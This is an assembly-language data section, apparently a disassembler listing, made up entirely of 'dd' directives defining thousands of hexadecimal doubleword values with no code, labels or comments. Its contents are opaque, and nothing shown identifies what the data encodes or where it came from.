		dd 90CDBECEh, 0A01CA125h, 8626D496h, 69E22430h,	0EB380061h
		dd 0A9A7F68Eh, 2609B3E5h, 8BD82Fh, 38B67843h, 50819D27h
		dd 0E0A803A4h, 142CA61Eh, 720F9577h, 0FE1BA268h, 143472E5h
		dd 0D2718617h, 8D70144Ah, 0F0A2D907h, 6442309Eh, 7C035538h
		dd 0FF13DCF4h, 0B2293988h, 0E520F809h, 7040248Eh, 0BD4253CCh
		dd 0DAA79C12h, 81CFE470h, 0DD3E00A1h, 57324211h, 3648B354h
		dd 80B238BCh, 5FBE5BBAh, 39D37C1Fh, 7B010982h, 4EFD1B3Dh
		dd 0FC88D855h, 36265000h, 0F799946Fh, 0D0EE00F1h, 0E4413428h
		dd 0A75B96D3h, 37D9440h, 9E95835h, 0CB2EC402h, 531D78F0h
		dd 3E409E8Eh, 382F2A6Eh, 0FA2D00E5h, 8A9656B9h,	0FF020C84h
		dd 8DEA9B29h, 0A98EC0C5h, 2413E44h, 90527A00h, 12DA22DCh
		dd 8B25A600h, 68CE6CB2h, 2B1A0332h, 0F2CFD89h, 778817D3h
		dd 9573D88Ah, 0E64D4713h, 0ED0098CEh, 3F15B2C3h, 97011624h
		dd 86BD48E6h, 7865A505h, 952756F0h, 0CD4DF0A0h,	0C7000F18h
		dd 5120EF66h, 709E9F0h,	0FDDE48E7h, 0F2E320E0h,	507A1B78h
		dd 0E2D01800h, 0C2A77184h, 925400D1h, 98B98535h, 7D5CE4A8h
		dd 22750467h, 4C88D85Bh, 8F6000CEh, 0B026E9A6h,	27EE5EE1h
		dd 24786A1Ch, 0B54BB100h, 0E819A648h, 44CA0040h, 1893355Eh
		dd 8C009221h, 8B49EBA5h, 79811F43h, 3CAAE4C5h, 9680BB1Ch
		dd 687BD329h, 4603FD15h, 665AB3FEh, 0DCEA98B5h,	0E0FA7082h
		dd 4DEE00C6h, 9E55DF4h,	0A3072AC4h, 0C269CDCCh,	0D600D109h
		dd 0C3B3A621h, 0F6F89ACCh, 87045170h, 6C8794Bh,	0A676B090h
		dd 8030DE91h, 0B06A61FEh, 0E800D945h, 18DEFA49h, 0EDBBA558h
		dd 134C30h, 5641C7B9h, 0FEA2B44Bh, 0B8794500h, 0A88F539Eh
		dd 0A0C9004Eh, 0B55AFF99h, 9D0029A1h, 710E9747h, 11687E7h
		dd 9BB281F1h, 0C0078D69h, 5800677Dh, 8871A13Bh,	0F5AF0EFh
		dd 3CFBB7Bh, 91CD5722h,	40E0878Eh, 4CE9F807h, 100F4F30h
		dd 209709h, 0EAFBC137h,	0D0C99B2Dh, 0B098C709h,	8FB0023h
		dd 61494Bh, 6F580AB6h, 1BCAC224h, 0BBE5AB01h, 226364B5h
		dd 0A03B0DC4h, 9A27EEh,	91F42151h, 6F71EDE8h, 0BA888B03h
		dd 0DDE01932h, 0A4617580h, 781676E7h, 94310063h, 0F868359Bh
		dd 0D8013BFDh, 0A37A9FFBh, 96FCD004h, 0CE590F84h, 8C0095C3h
		dd 0E70D7218h, 0A9B5700h, 588DD5E6h, 0DCDE1E3Ch, 6B910717h
		dd 4DD7B056h, 6725E973h, 8F2880C4h, 0BA45C8h, 0E0883772h
		dd 35B015EFh, 0E7C40F07h, 190FFD6h, 73DE4A2h, 0A31FDEC7h
		dd 1DC9D052h, 7A002F25h, 8CA49C9Eh, 4CC1D2h, 0FCE6A86h
		dd 3E3F7440h, 29F6D803h, 0E9E81323h, 0C3C01DA0h, 0E3C400B9h
		dd 3806920Fh, 951F41DEh, 3B79F265h, 441C8345h, 0E81A7CA9h
		dd 0CAB4F1h, 61C47667h,	962DA804h, 65132603h, 0B8916E6Fh
		dd 13ABA31h, 8F9F52C0h,	0F4B2E093h, 2F02470Eh, 97B7CFAh
		dd 0FF6640A7h, 5F290030h, 9680E8CFh, 0CB00E658h, 9783A5CAh
		dd 3D0E3A78h, 0D90B5CCCh, 0D450C8E2h, 413F2A01h, 8702E3FBh
		dd 4CF7FC20h, 0EB00F40Fh, 0D6F4094Dh, 0DAE24E21h, 0B47950Fh
		dd 0DDDC0CCh, 21470h, 322F2C0Fh, 0D634A5FFh, 45B5B400h
		dd 0F1E8518Dh, 0EF1D50ECh, 9E4F446h, 731F283Fh,	3A57C880h
		dd 4309E080h, 40639B95h, 26B3725Ch, 84134Eh, 507C17F9h
		dd 4D03F1DEh, 0DDDF9B9Fh, 94D08432h, 60794781h,	0AE1C3830h
		dd 0E00F60ABh, 0C0C6F634h, 0EA1438A3h, 24D7F8D4h, 0AF531Bh
		dd 8F85802Ah, 7D7C585Dh, 0E10F600h, 65E452A5h, 39DD03E1h
		dd 3A072D9Eh, 3D4BABB8h, 0F957C300h, 59931503h,	86811708h
		dd 5B9CC097h, 0CE30E4A7h, 0CEAC167h, 28093EF6h,	4D128D00h
		dd 7D3EB17Bh, 5C036C7Fh, 7F62974h, 0F301E00Ah, 9376FCh
		dd 691D759Dh, 0A51C7DA3h, 0CC1F9600h, 624C9A3Eh, 179505C1h
		dd 0C12BDEC9h, 0F0A90572h, 0FB0029CEh, 3370D93h, 7412F679h
		dd 0A26D0022h, 2905F28Bh, 24005AD5h, 11437FEAh,	13163F09h
		dd 0DC0D0Bh, 0DB572312h, 7E50FDD0h, 893BEBA8h, 0CAAD6Bh
		dd 561AC7A8h, 0E5FE5815h, 688A950h, 8DEF18C9h, 0BC3BF16Ah
		dd 7F8B80A0h, 0CF7B4F3Eh, 0E18C01Bh, 83926C2h, 8D046400h
		dd 0EC4655A1h, 0AA530178h, 0DDAECE7Ch, 7515FCB0h, 74DF5B01h
		dd 36E77A3Eh, 1B00AC55h, 0D297692Fh, 0F18B000Ch, 4E9E94D8h
		dd 0A601B311h, 0C6EF1A51h, 7BFD732Bh, 0C25F1C80h, 7D8CE543h
		dd 13212003h, 0CFDD0Ah,	256BF6D0h, 0D5447F4Eh, 9A871E01h
		dd 6804C215h, 213CC8EBh, 1067309Ch, 8892431h, 0F939D900h
		dd 0FFC80AC1h, 0B54D0092h, 4A7322E3h, 0E69095C6h, 0A0FDB02Ah
		dd 15098EAh, 0FB015580h, 7D9757A2h, 2080FEF4h, 0AFC18746h
		dd 8C01E407h, 648572F5h, 0FEA0ABh, 0ACEDA19Eh, 0A7D9101h
		dd 5495D915h, 3985E7E0h, 6A00E33Dh, 0B7DF2830h,	3201ED09h
		dd 0DCCA0726h, 0BE4374A9h, 83E8C15Ah, 678DF0h, 0F404412h
		dd 0EF2F3EEAh, 0A6774F09h, 608A8FA0h, 0B351F09Ah, 0FC530095h
		dd 8FECC7B0h, 0C2007B7Dh, 23A28914h, 0F740F2h, 0BE726C93h
		dd 0A1FDA744h, 70481E58h, 35ABDA03h, 583C93FAh,	0C10C6429h
		dd 0FC1139EFh, 9572C403h, 805A0DBCh, 12298A36h,	14B0264h
		dd 6715C9D9h, 837DDCD4h, 0C40080B0h, 363EAF47h,	3E8B3950h
		dd 52077823h, 0C89A740h, 9100DC59h, 7617344Eh, 3ACAA9D4h
		dd 9F19CB3Dh, 0FD7C2043h, 0C0EFE465h, 5AD8FA00h, 50AD8225h
		dd 69640F5Bh, 0C22E4215h, 326B3581h, 3FDCE14Eh,	0C5203BA1h
		dd 8A7B002Ch, 8929BDF6h, 0B3003CA0h, 787048B0h,	8564CBh
		dd 69E0D914h, 67E3E54Ah, 58F82101h, 0AA8E4923h,	1AAC98F7h
		dd 0A1C80093h, 0DCFC4C83h, 3600A843h, 692D144Bh, 9C66AFh
		dd 3AE2B546h, 0BE0AF9D5h, 0EA0F4378h, 3F6FC3h, 0DBDCD12Dh
		dd 5AE3389Dh, 0CBFDAE81h, 30425E69h, 68F2CA49h,	78B86100h
		dd 77581E8Ah, 0F4880EB4h, 0BB96F06Fh, 26C7B700h, 2DBF6Ah
		dd 0E63FFDFBh, 394AD7F5h, 0D400367Ch, 1AFE8584h, 8DEC8Eh
		dd 1F01DFB4h, 3FD88380h, 181E771Eh, 2615BE80h, 0EEB24788h
		dd 79A500ADh, 4FD3D746h, 771CDC24h, 589D9319h, 0E6D04518h
		dd 0EA0700B2h, 42C8F665h, 843EB459h, 148A0028h,	0D5835DAh
		dd 0FA6933D2h, 17F08598h, 6100F54Eh, 8EEF2BDDh,	77A01FEh
		dd 69746AB4h, 4850039Dh, 5A6DFDC0h, 8D012CF8h, 9BC3E41Ch
		dd 91D0F8D6h, 19DC0059h, 0C55A66BAh, 8D037914h,	0FCF93A55h
		dd 613097FDh, 49129Bh, 73844EACh, 0AE29D7EAh, 0E1B29100h
		dd 5C27568Dh, 87F90021h, 287B4BF6h, 62001B03h, 54D966A5h
		dd 3B593FFAh, 1EB92917h, 75103F4h, 838C6F3Dh, 32E362AAh
		dd 0BFEFEBB8h, 0FB399500h, 0C2B268FCh, 743C0036h, 4919A052h
		dd 2A0044E2h, 0B323BF53h, 3E5FD59h, 1A22ACE1h, 68004125h
		dd 3409CCB4h, 1AEBF6A9h, 18E21902h, 42A06AC3h, 0B800FE2Ch
		dd 7BAFED80h, 0F47595h,	0FC0BE636h, 1204D0CAh, 0DCF28D00h
		dd 930A1494h, 8813C11h
		dd 19802487h, 0D435A025h, 10740556h, 2DB0B100h,	6B230F4Dh
		dd 0FC7100C2h, 2C7D5B39h, 0D5003C1Bh, 22B9BC29h, 0FA1FABBh
		dd 9C3B7827h, 86BF2C0h,	0E80060D3h, 0A743B02Bh,	923103Ah
		dd 70390205h, 0F7EEE500h, 0F53B9C73h, 0FC410018h, 765CC930h
		dd 0CCD90EB3h, 336E2BFBh, 0BC4C5DE7h, 0A8166B40h, 0C11830EEh
		dd 1810610h, 5AC180A6h,	0D8A7B1FAh, 9900DA84h, 0DC37551Bh
		dd 24F2A4Ch, 957FAB6Ch,	0F1C0DEA4h, 0AF00086Eh,	40D0F1Dh
		dd 4E6DC6Fh, 6AD71B31h,	9C44C061h, 8A00700Bh, 3F14C4B3h
		dd 32D57Ah, 30DAB1D9h, 0E5623933h, 4DA96E01h, 5D76C591h
		dd 0C36A1080h, 61F65928h, 0BDC17000h, 91D89E88h, 6AC0C311h
		dd 4FB93092h, 10BA2Dh, 0C1389984h, 0CCFF244h, 80FDEE6Ch
		dd 320058E1h, 0D5222DBEh, 0E37461Ah, 7FF6EAC3h,	0B0433F07h
		dd 7CCFD95Dh, 0FEB78C00h, 0E7752EFBh, 9EB607E5h, 3C9252h
		dd 2A62DE1Dh, 10171500h, 86D73A97h, 0F5830ED8h,	0FF0EB648h
		dd 38155F06h, 1C742200h, 0E713EB8h, 0D4040E25h,	18861031h
		dd 963A20CBh, 9E850063h, 0B343A065h, 577100BFh,	3A8A697Fh
		dd 0CC0022F0h, 0F4F7E474h, 0CB0B41h, 25772AE8h,	0E5145006h
		dd 235648h, 72EF85EBh, 745DDFEAh, 184A0075h, 0D3C5E510h
		dd 0D4F4A70Ah, 0C2504700h, 4BB0769Dh, 0A8176786h, 0E17E1035h
		dd 0B21E10E3h, 6FC0E067h, 38BC214Ah, 18466018h,	5A473DC7h
		dd 0C0CD8F8h, 807944E9h, 280200B6h, 5B8CE6B3h, 0A10F6F81h
		dd 0AC7D99ADh, 3D205Eh,	0CF488615h, 21C7A450h, 960D967h
		dd 7F785780h, 0BD203DAh, 3A1F1531h, 0D4416288h,	303F2D00h
		dd 693E560Dh, 0BA760025h, 0D827E48Fh, 7901B4DBh, 57F5FD9Fh
		dd 0B0EBA66Eh, 0EF05FEFh, 0F59E62Bh, 0ABB06BA5h, 20B37000h
		dd 0B609EAh, 0C3986AA1h, 0E4EFF766h, 68A83Eh, 1C472B56h
		dd 194661h, 0A035D537h,	4B0C6397h, 0ACBBFA00h, 75CFCE8Ch
		dd 3A0F7FE0h, 518012C2h, 39980C4Dh, 7B30E83Ah, 384A103Bh
		dd 0FFEE30C2h, 23284420h, 5CDBA700h, 0C8241AD8h, 70CCEA65h
		dd 79C50068h, 0FB236FD0h, 7100229Dh, 50C5CDEh, 6BC418h
		dd 0CAFD5A2Ch, 0EE8DD9ACh, 9DB3850h, 9E3C7A01h,	0BE40E0D0h
		dd 7C5F160h, 1C3A9306h,	34803F18h, 96BF4F66h, 4B2C0500h
		dd 0F3197E46h, 0A34D581Ch, 0F8C38900h, 3F7A15A5h, 0F207B400h
		dd 0A1B06C22h, 90243964h, 0B9AF1480h, 84E7B8C2h, 577D1600h
		dd 0A0253B61h, 0EF000A1h, 8DBEB117h, 5703401h, 7A687B00h
		dd 0B6285EBAh, 0BC1500B3h, 0D2F6D07Eh, 6B00D51Eh, 914FCA6Dh
		dd 16BDB90Ah, 3D0543h, 0B29222CFh, 1300A235h, 0D5256AE9h
		dd 17BDE10h, 42485251h,	30620D49h, 4C005BD2h, 706B940Ch
		dd 0FC4ADDh, 31B30FDEh,	0EE2E1006h, 0AF551A00h,	819637CBh
		dd 6C170BB6h, 8180CA60h, 0D269AC9h, 40B1200h, 4AA577A8h
		dd 1B4E0071h, 2DE521F7h, 6A38ABDBh, 4F9A50CDh, 809ADF3Eh
		dd 5399025Ch, 2AC8212h,	8F7A842Ch, 29E05862h, 0B003F5C5h
		dd 0C3B4064Ah, 5EF8D81Ah, 4F4F4B5h, 0FD0833Ch, 4E80AB64h
		dd 228C9Eh, 0BB62D83Fh,	0A7AB5681h, 4C1DD900h, 30EAC449h
		dd 0DF833EA9h, 8DBD4500h, 0D6C182Fh, 0FD8A7900h, 83768073h
		dd 0F2EE14h, 0A667A1B4h, 3F50E897h, 0E217507h, 801B576Ch
		dd 0BC62E218h, 0E61C6070h, 0AE7F64A8h, 4201EE78h, 87B79BE9h
		dd 0D700933h, 0F571009Dh, 0C9F33A7Eh, 570B02D2h, 805C42DFh
		dd 0D14E6337h, 0FDE2001Bh, 9D850E79h, 0DD006260h, 6E35BEDBh
		dd 7301D69h, 8F1797FAh,	1ABCA089h, 12002587h, 37A1F2D0h
		dd 781A0BAh, 0ABE0C813h, 263690CEh, 0F800910Ch,	50BC17F3h
		dd 1ADBDAh, 70F7633Bh, 219DC192h, 1A26A38h, 0A8424BDEh
		dd 75FC171Fh, 8AF50F0Dh, 8814233Bh, 54DD8E00h, 0FAE8ACB1h
		dd 49BA2603h, 0E052DCA8h, 0E280AA88h, 353C004Ah, 0DEA9F6B0h
		dd 0B2F29453h, 31FC8900h, 829701ECh, 0E470B5AEh, 1D405900h
		dd 7932103Bh, 13EAEC09h, 0C708C03h, 0BCF8A339h,	1EACD100h
		dd 6C0C1A01h, 0DE7903AAh, 65845546h, 0C81FB288h, 26DF5B00h
		dd 0C7D0F531h, 0F7E900CBh, 79A9DA43h, 0D300CC98h, 0DF0B3D44h
		dd 62F296h, 60CB4863h, 0E9F471DBh, 64B9F000h, 0BD696FC6h
		dd 0F9FB0775h, 0C0ED5D2Fh, 622AD85Bh, 746DCD00h, 35DF1E55h
		dd 38F2BDh, 277D4475h, 1CFF3A61h, 949F0200h, 1066E12h
		dd 60040E2Ch, 55204C42h, 43259597h, 0E808C003h,	0A02A71F7h
		dd 17C9331h, 3EB465CFh,	0E4B1CEB3h, 0A600397Bh,	0D89972C0h
		dd 160D3180h, 13A91A8h,	5B0AD794h, 0CF83F098h, 6552F803h
		dd 0CC84CEh, 391C9FF8h,	66F268E8h, 1D49537Ah, 5C160F68h
		dd 2683E04Ah, 6096BDh, 3E343AF6h, 811AABFEh, 0EC8ED801h
		dd 9F9897B9h, 704C8BE0h, 30B21222h, 0C0C61F54h,	0E0C2F3D7h
		dd 7D009F6Eh, 0A77B0B4Ah, 7CCA1Fh, 55570F4Bh, 8F85FC9Dh
		dd 9225600h, 6EC6F3ACh,	0B5180E41h, 5200C4A0h, 9450DE04h
		dd 6A5F4600h, 344616Ch,	3CC8002Ch, 98B8FC59h, 260FA0F8h
		dd 0AF9D5AD5h, 47E54128h, 61E0F518h, 3E500BC6h,	42D2h
		dd 0A4EBE357h, 3F05D901h, 2374270Eh, 7C599E0h, 0BCF294B8h
		dd 8093809Ah, 34030D91h, 6E84537Ah, 5816A0E8h, 0F5123951h
		dd 64CE4D00h, 811DAD11h, 0B68AB100h, 2999E24Ch,	754B00FBh
		dd 0BAE8A061h, 0F400CC87h, 190FFAC9h, 8B36A1h, 0ABD83C35h
		dd 0FC8C1884h, 0E05CE401h, 21514361h, 0A120C847h, 60F012F1h
		dd 0AA9A042h, 3000756h,	5D6B6AF2h, 0A77F1Bh, 94B5240Dh
		dd 0CF458788h, 9D007EFEh, 3E7A0FF3h, 346F93h, 5AD0E471h
		dd 61193124h, 0EC1E1B7Bh, 5C40CCA6h, 451A8A09h,	3349857h
		dd 0D5A1D084h, 83E07B16h, 103D9795h, 7F09740Fh,	81DCECh
		dd 0C15789CCh, 28680048h, 0D75CAC49h, 0A202D366h, 42B60561h
		dd 0CB54C0A6h, 0EBAE6EAh, 16F7CD7Bh, 109649E7h,	36086945h
		dd 0D3790B00h, 0B1503932h, 3828EC7Eh, 45C8D8C0h, 47A63100h
		dd 5A706520h, 0A2EDF600h, 9B6ACE78h, 45B71E49h,	0BFEC0056h
		dd 32754812h, 6D9C9F00h, 0B85E4F67h, 0C92D0069h, 314107A9h
		dd 0B0307D12h, 48AE3813h, 0A40100A5h, 328FD770h, 291F02FEh
		dd 6426EB1Fh, 53E27302h, 0CA7C6172h, 175670h, 6F0FA399h
		dd 5E7D0FFh, 58924300h,	8667CB2Dh, 0A5630015h, 7B5E4625h
		dd 0EB4899D7h, 817F16F8h, 5B00FEE8h, 738A0693h,	0A606D3B2h
		dd 7CD4EBDAh, 19F870h, 0A489BBAFh, 1AFA159Fh, 0D7F0E618h
		dd 61413F91h, 0FCED28F1h, 22208086h, 0FB431BFFh, 243A5034h
		dd 0B5D73757h, 2F9D8068h, 0C77367E1h, 0BB004BE8h, 0CF90DDCh
		dd 7FB3245h, 0C61DE6F0h, 8847A0DBh, 40E624F7h, 0D112EB00h
		dd 55161731h, 5FFA0C4Fh, 84C10F39h, 0EA00C675h,	0B7924173h
		dd 0D59B74h, 0D01F7C8Ch, 57FF46ACh, 0B9395C90h,	0AD7780BFh
		dd 0AF7383A1h, 39F40C20h, 0B7629A12h, 817AB33Bh, 3FEA2F84h
		dd 0D820EF01h, 0F2E37EA0h, 246016Eh, 93E9AE4Bh,	82B8407Eh
		dd 1E3C9E4Fh, 0BD810030h, 2FC8592Bh, 0D19300E8h, 0F7BAFF0Ah
		dd 8B074957h, 1B78B2DAh, 53095B0h, 4C870101h, 0B4E6538Eh
		dd 0E8E4E586h, 4600E0D7h, 0E487582h, 48A66DEAh,	4A055C37h
		dd 800BAFD6h, 0CB0D0522h, 223DC505h, 0B2C013E6h, 5CF59B18h
		dd 804DC2BBh, 70C3BC03h, 0D9895CAh, 55008F72h, 4DEB67B8h
		dd 11CD698h, 0F3EEF278h
		dd 3F92B7A9h, 3F446AA0h, 0E7005EC4h, 0FC3A458Dh, 0A2670DD4h
		dd 25F08A20h, 0DFE084h,	0C18D72FBh, 0A13558BEh,	1C43880h
		dd 0AD952E52h, 7EF36CFFh, 40DDF482h, 54CBCD38h,	68DC5Ch
		dd 0D6024F3Bh, 3CA26510h, 68F453Ch, 7B6D25D2h, 0A51512C0h
		dd 4C8D00A6h, 0BD5FEC36h, 0E20251EEh, 0AC355291h, 4E808742h
		dd 8C7DDF90h, 1FC316BAh, 0DE9C00DCh, 0FB1DEA0Bh, 45C1B100h
		dd 2D32E73Bh, 0F5600DFh, 98BA83E8h, 3C985F76h, 6824F200h
		dd 59DDD47Ah, 0E11500BEh, 0A1A99D20h, 0B3000EA6h, 90BFC887h
		dd 3C505341h, 0C3808C57h, 4E551A45h, 0EFE403F6h, 1D2E540Eh
		dd 42462071h, 34408B6h,	1948EA87h, 6A8002F2h, 8E0B0ACAh
		dd 8E9D732Ch, 42114391h, 0C8A61339h, 29D200AEh,	1E276048h
		dd 564E9800h, 6DC4B501h, 3A746Eh, 0D161A78Ah, 6B44E238h
		dd 5E239B03h, 0F8D63F07h, 3FB5FD70h, 6E3D9A91h,	0E700F838h
		dd 57EA83A6h, 0D63FDD26h, 803C3CCCh, 5B82B2AAh,	0CD73ABh
		dd 0C22DD728h, 7AFF5048h, 6A393601h, 7D3F2759h,	18ACD5ECh
		dd 0B010A2C9h, 0A51D5CE1h, 80BF9E29h, 1918CB2Ah, 0CC48C7h
		dd 62E4B938h, 13147082h, 0F1F80326h, 0F38D1C02h, 0A2BA8359h
		dd 87480025h, 38022A35h, 9A01E8D2h, 15AC140Fh, 406080CAh
		dd 57E678h, 132707E1h, 73128718h, 0A28F8A00h, 1224EE0h
		dd 0F0450766h, 0D1F22027h, 305D5F86h, 2A9025D9h, 2F7BFC00h
		dd 686C3487h, 0A2ED58E6h, 8FF8007Bh, 0DCDD721Ch, 890095E0h
		dd 0F3696794h, 0C0FBA9FDh, 569D8B20h, 1503D3D1h, 0D67EA334h
		dd 0E3A4E001h, 185C00E9h, 1E509371h, 0D000FC42h, 1CE68633h
		dd 1DD4B568h, 4CF7A8h, 4DDC0C94h, 99077A01h, 408E4226h
		dd 80B05AF7h, 606A9DE6h, 0D5F670FAh, 2900D3EFh,	40C470Bh
		dd 1EC2AFDh, 3CDC7973h,	70C70AB2h, 0A1058A08h, 704369Dh
		dd 6EE1EB80h, 0DF0303D3h, 0E70CE5AEh, 0E9ACC68Dh, 2D6A5C03h
		dd 0C084A4DAh, 0B0CBC0C9h, 0FA9A018Ch, 0BF96A74Ah, 8771CCF9h
		dd 67A24Ch, 9D507716h, 36BE6AEh, 32F8E274h, 96C3B9FDh
		dd 583A6076h, 46027C0Ah, 8A101DAEh, 0D5F7833Fh,	0EDF40F6Ah
		dd 0BC806B1Eh, 17F7D34Dh, 389F4A00h, 0C851969Dh, 57FA0033h
		dd 0DB5346D5h, 4C73C0F7h, 6F5EB300h, 0EE6BAAFDh, 0A118002Ah
		dd 70A84EBCh, 9DF6E0B2h, 0AAFF9B03h, 815BC630h,	204E5055h
		dd 0A02A3548h, 0F7B80320h, 0C939F350h, 0BE938800h, 0A86B1F92h
		dd 0EB61008Ah, 0BFED7087h, 7244A1B9h, 8DE20086h, 174A1C88h
		dd 2A002732h, 384F2350h, 63C63B85h, 5FEFE867h, 948328C3h
		dd 4249CEE8h, 7232340Ch, 1D4A083Bh, 0F05F1ABBh,	0DFC99170h
		dd 19EEC11Fh, 2B7D7447h, 0BB3481F3h, 0EA8480F5h, 0FEA40A99h
		dd 80A47352h, 56FA7789h, 0EF003438h, 8039CDF3h,	0B37A96h
		dd 0AAFE97D2h, 164F5817h, 94AB260Ch, 0F64E3A6Dh, 0B65A0FEDh
		dd 0BBE0EE1Eh, 781B76BFh, 280B256h, 0E98772D8h,	4C0436B1h
		dd 3337B8EBh, 4416CCC0h, 10CE147Fh, 1114E428h, 7B0EF084h
		dd 0F3C0A96Dh, 43856E97h, 4BB60600h, 9C03027Dh,	0E4A800EFh
		dd 0EB260F38h, 0B9007772h, 0CA10DBFCh, 788696h,	7612DAD5h
		dd 0AA4616E3h, 0CC4DB900h, 0A0EA63B5h, 8120A562h, 4E998FC7h
		dd 47DE1085h, 0ED6430B6h, 0C2A8A489h, 2738950Ah, 439DD051h
		dd 2400B1DCh, 5D07F07Dh, 82F0F5F6h, 332A0584h, 0C01CCE4Ah
		dd 0E8E2DEE2h, 9FFAE903h, 0CBE0D1B6h, 33A48F9Bh, 81384081h
		dd 667AAF4h, 1AE5259Eh,	0E200A88Bh, 831823CFh, 79D5AC63h
		dd 6531C049h, 0E6B798B6h, 1B0060B8h, 0A1F8642Ch, 51E4CCh
		dd 0EF1CE9BBh, 362831C7h, 0CAB39703h, 0C8B26037h, 588E38E5h
		dd 0EF00661Bh, 44C250FFh, 69002B5Fh, 5BA44E52h,	0E7776Fh
		dd 12C18E1Dh, 0B064C2AFh, 82FAB900h, 1A32C99Fh,	0CDBE0309h
		dd 50FCE34Eh, 25ECF01Dh, 0F4FF3B00h, 0D4D8DCh, 0E06B12F3h
		dd 18559C8Dh, 983AFEFEh, 7F0105A4h, 68828A2Ch, 89744838h
		dd 0C3D0ABEAh, 65AFC851h, 0DFEE00F6h, 6BA9D05Eh, 0C40ED55Fh
		dd 63C16E49h, 0D08DA4A0h, 63D8619h, 8177578Ch, 0F4004058h
		dd 5918BCCEh, 0DC427FDFh, 93778060h, 6EA76182h,	0B8C229C0h
		dd 0AC4335h, 30E79040h,	5581A5F0h, 9C12250Fh, 598E1D9Bh
		dd 0AF20E13Fh, 0BD20A25Eh, 2EC23FC3h, 43730070h, 3DCCEEF1h
		dd 1B1F465Bh, 7A416303h, 5682A7A4h, 0EC31C4E8h,	0F81F0036h
		dd 0AC6E2EBCh, 0DA74F4B2h, 2A283Ch, 2435F906h, 1D6C9F84h
		dd 0C0B7AAF5h, 0B21686F0h, 0C103D8B3h, 54A48E1Fh, 0E3BCE857h
		dd 86033D50h, 9FE12A80h, 0E4BA07B2h, 6A4D9800h,	300AC4DEh
		dd 2E7205h, 75DBA4F2h, 0D2093E08h, 0C3C6FA00h, 0CD5856B8h
		dd 0E9F13F82h, 0A318DF0Eh, 0C1AC5900h, 0B90E233Eh, 0EE0E38D3h
		dd 0E25A8048h, 0C5ADDEh, 7F4CD636h, 0E19BA474h,	7D861A3Dh
		dd 73F16300h, 0B9EAE5D7h, 92FB0350h, 0E73E11F2h, 0DF12D9F8h
		dd 6883370Ch, 177480D8h, 130A78C8h, 0F5AC01DBh,	0D056C4DDh
		dd 0EAB0A52Dh, 0D4D22200h, 0D6F45EA9h, 937901EFh, 0CAAD09E0h
		dd 1B6E494h, 0A6B94400h, 1F071DA0h, 67D00C6h, 0BB1ABE8Bh
		dd 4A4BF8Ch, 826918CFh,	3D607779h, 306808B4h, 0E5220059h
		dd 0CA4B21A2h, 160108EFh, 7FA89CF5h, 4DD994E6h,	0F8EA1988h
		dd 111DE542h, 229D0CEEh, 0E7EE4A10h, 5F261184h,	0E0BA1049h
		dd 8270898Fh, 22AA7D32h, 3610472Dh, 3CAB44D5h, 8E104442h
		dd 52BB8410h, 5A190222h, 0DC866C51h, 0A4790C41h, 0E1515A08h
		dd 426EDD48h, 84A01E6Ch, 47BB24D3h, 327EACA0h, 310E1B00h
		dd 3D2FD2AFh, 0D1898088h, 3F291C00h, 0D44BC81h,	0C47555E2h
		dd 103BD4h, 65B73B3h, 91E84AACh, 60007AE8h, 6B37F6FAh
		dd 2AC242h, 2428BB64h, 6A08A047h, 0CCBA9800h, 0CE7154B3h
		dd 6560006Bh, 2B392C9Ah, 0DD064E13h, 0D485D6DEh, 14BD0008h
		dd 2C8FABB6h, 280B5DC3h, 80301B4Dh, 402D99C6h, 4CA469h
		dd 0BC362FA9h, 66B8635Dh, 0B202EEECh, 37203ECBh, 9E480AFh
		dd 0DA49BFh, 557C1D92h,	6C780E4Eh, 0F4902100h, 0BE506F65h
		dd 0F0973C80h, 0AEBA9B80h, 2820D963h, 86ED8F05h, 1C307D2Ah
		dd 8770D17Eh, 0B7127300h, 70342205h, 11650030h,	0D962A91Ch
		dd 6C57CC03h, 81E9C4C0h, 0B2648000h, 1932F0A1h,	48BA4015h
		dd 7FAA957Ch, 99A600AEh, 3E91807Bh, 90B0FC33h, 0C263CF00h
		dd 0F603F8C6h, 52422A67h, 0E371385Ch, 0FD148880h, 0EE65282Ch
		dd 0CF7D5300h, 0C0EF92AEh, 66ED0F32h, 30C92E96h, 500FB007h
		dd 0E1517DF9h, 6357A412h, 47DCC040h, 9095BE7Bh,	38A10E48h
		dd 31E2B10h, 643263D1h,	9902907h, 3F90793Ch, 3B8BA1B0h
		dd 0FC8528C2h, 2ECD89B9h, 9FC0858h, 0FA29D472h,	7E604C36h
		dd 35FE643h, 6BBA8D9Bh,	37FB83D2h, 207A8881h, 0E1023B94h
		dd 758499BCh, 91384073h, 3C92FEh, 87D55D2Eh, 0AB34CE78h
		dd 1C307A6Ch, 7D9F6D3h,	0F8DCACFh, 5F430A8h, 162427B1h
		dd 0E2C274D5h, 9B1E1DACh, 0A83C3D80h, 1CED393h,	1566F83Ah
		dd 80C72B21h, 9F769AD0h, 6181E84Fh, 0A2F290A7h,	0E34080C2h
		dd 9C30EC52h, 43A42406h, 0F2630E38h, 29E52B60h,	2C2999D1h
		dd 0EA5EAC90h, 1112009Dh, 43BAE6DBh, 5607670Bh,	0CA680AC3h
		dd 9D862A80h, 0EF4C0029h, 88A77B76h, 3A009704h,	2A25B736h
		dd 7AE6CBh, 0A86A581Fh,	30661E95h, 0F6136200h, 0B761974Bh
		dd 3B511F06h, 0B2408032h
		dd 0FB017D3Ah, 1D3F6A00h, 452AF714h, 5839FA33h,	0B7009C5Eh
		dd 3EF229AEh, 0B60095C3h, 0B2677DBAh, 0B19335h,	57ADD161h
		dd 2DCF2B0Eh, 80C76F3Eh, 0A0222754h, 1F8FD84Ah,	833AA9A5h
		dd 2AE38343h, 34068A00h, 4955AAF0h, 0C872E63h, 0D92C0112h
		dd 989E88ABh, 32901C28h, 0AD4A1FC9h, 0ED4E405Bh, 0E9D97ECh
		dd 4962F105h, 8462729Fh, 5D07683h, 0AD1E2h, 33DE29A0h
		dd 0A6B8A623h, 3900D876h, 76DC648Ch, 613196h, 5F5DB282h
		dd 4735EEB0h, 0FD32D400h, 1552CDC6h, 0DE430767h, 2036463Bh
		dd 0C4EB46Eh, 84C30A00h, 209DBF96h, 1D3300CAh, 0EECB0850h
		dd 0FD00AC17h, 0C735DBF8h, 3DA38B8Fh, 0D0872D53h, 2075D325h
		dd 0BD6A125Dh, 592A2F02h, 4056CA5Bh, 1FAC4A76h,	0C6E08B31h
		dd 8017F765h, 853B9A00h, 351B291Fh, 41A706D5h, 184CEE6Ch
		dd 0D43D6907h, 0C5C0BA88h, 71C9F4h, 0C4CCA179h,	0A9832B1Bh
